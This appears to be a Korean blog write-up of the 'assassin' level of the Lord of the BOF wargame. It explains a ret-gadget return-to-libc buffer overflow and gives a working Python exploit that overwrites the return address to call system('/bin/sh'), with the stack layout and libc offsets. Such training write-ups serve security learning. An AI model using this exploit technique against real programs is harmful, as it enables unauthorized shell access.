버퍼 지워버리고,
RTL도 안되고, stack도 안된다???
남은 건 코드 영역 뿐.....
objdump -D assassin | grep ret ☞ ret 코드를 찾는다. 여러 개가 뜰텐데 하나 그냥 고르면 된다.
그리고 libc 주소, system 함수 offset, /bin/sh offset 찾으면 된다...
buffer[40]
---------------------
sfp
---------------------
ret
---------------------
이런 스택 구조인데, 다음과 같이 만들면 된다.
▼
▼
A * 40
----------------------
AAAA
----------------------
ret -> 다른 ret 주소로 덮기
----------------------
system함수 주소
----------------------
dummy (4bytes)
----------------------
/bin/sh 문자열 주소
이렇게 하면, main 함수의 마지막 ret이 실행되고, 한 번 더 ret이 실행되면서
esp가 가리키는 system 함수의 주소가 eip에 담기면서 system 함수가 실행되게 된다!!!
ex.py
import os
import struct
p32 = lambda x: struct.pack("<I", x)
lib = 0x40018000
system = lib + 0x40ae0
binsh = lib + 0xe3ff9
payload = "A"*44 + p32(0x08048336) + p32(system) + "B"*4 + p32(binsh)
filename = './assassin'
os.execv(filename, [filename, payload])
'워게임 > LOB' 카테고리의 다른 글
LOB - zombie_assassin(RTL chain) (0) | 2021.08.08 |
---|---|
LOB - assassin(semi ROP) (0) | 2021.08.07 |
LOB - bugbear(RTL, execve함수) (0) | 2021.08.07 |
LOB - darkknight(RTL) (0) | 2021.08.05 |
LOB - golem(SFP overflow) (0) | 2021.08.04 |
댓글